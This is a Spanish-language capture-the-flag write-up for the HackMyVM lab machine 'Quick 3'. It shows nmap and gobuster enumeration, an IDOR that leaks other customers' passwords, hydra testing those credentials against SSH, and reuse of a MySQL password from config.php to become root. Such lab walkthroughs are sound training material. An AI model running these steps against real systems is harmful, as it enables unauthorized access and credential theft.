cd ~/blog

~/writeups/hmv/107-quick-3.md

107 - Quick 3

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
IDOR con exposición de credenciales de clientesCredential Reuse desde la aplicación web hacia SSHCredential Reuse desde MySQL hacia root del sistema
hackmyvm.eu/machines/machine.php?vm=Quick3

~1 min de lectura


Enumeración de servicios

El objetivo sólo expone SSH y una aplicación web sobre Apache. Sin credenciales iniciales para SSH, continuamos la enumeración sobre HTTP:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.17
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 23:25 -04
Nmap scan report for 192.168.1.17
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Quick Automative - Home
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración web

Gobuster descubre /customer, una zona en la que es posible crear una cuenta legítima:

❯ gobuster dir -u 'http://192.168.1.17' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,sql,png,gif,zip -r
...
/customer             (Status: 200) [Size: 2175]
...

Explotación del IDOR

Tras registrarnos, la vista My Profile identifica el registro mediante un ID controlado desde la URL. Al sustituirlo por otros valores, el servidor devuelve perfiles ajenos sin verificar que pertenezcan a nuestra sesión. Esto confirma un IDOR y permite recopilar pares de usuario y contraseña de otros clientes.

Guardamos los usuarios y contraseñas en listas separadas y comprobamos las combinaciones contra SSH. Esta fase valida credenciales ya expuestas por la aplicación; no intenta todas las combinaciones posibles de forma indiscriminada:

❯ hydra -L users.txt -P passwd.txt 192.168.1.17 ssh -t 64
...
[22][ssh] host: 192.168.1.17   login: mike   password: 6G3UCx6aH6UYvJ6m
...

Acceso inicial y enumeración local

Las credenciales de mike funcionan por SSH y permiten recuperar la primera flag. Durante la revisión del código web encontramos config.php, que contiene las credenciales de MySQL en texto claro:

mike@quick3:/var/www/html/customer$ cat config.php
<?php
// config.php
$conn = new mysqli('localhost', 'root', 'fastandquicktobefaster', 'quick');
...
?>

Escalada por reutilización de contraseña

Que la cuenta de base de datos se llame root no significa que sea el usuario root del sistema. Sin embargo, probamos la contraseña porque su reutilización entre servicios es un error frecuente. su la acepta y cambia la identidad efectiva al administrador local:

mike@quick3:/var/www/html/customer$ su root
Password: fastandquicktobefaster
root@quick3:/var/www/html/customer#

El prompt root@quick3 confirma que la contraseña también es válida para la cuenta local de root. Recuperamos la flag final y completamos la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados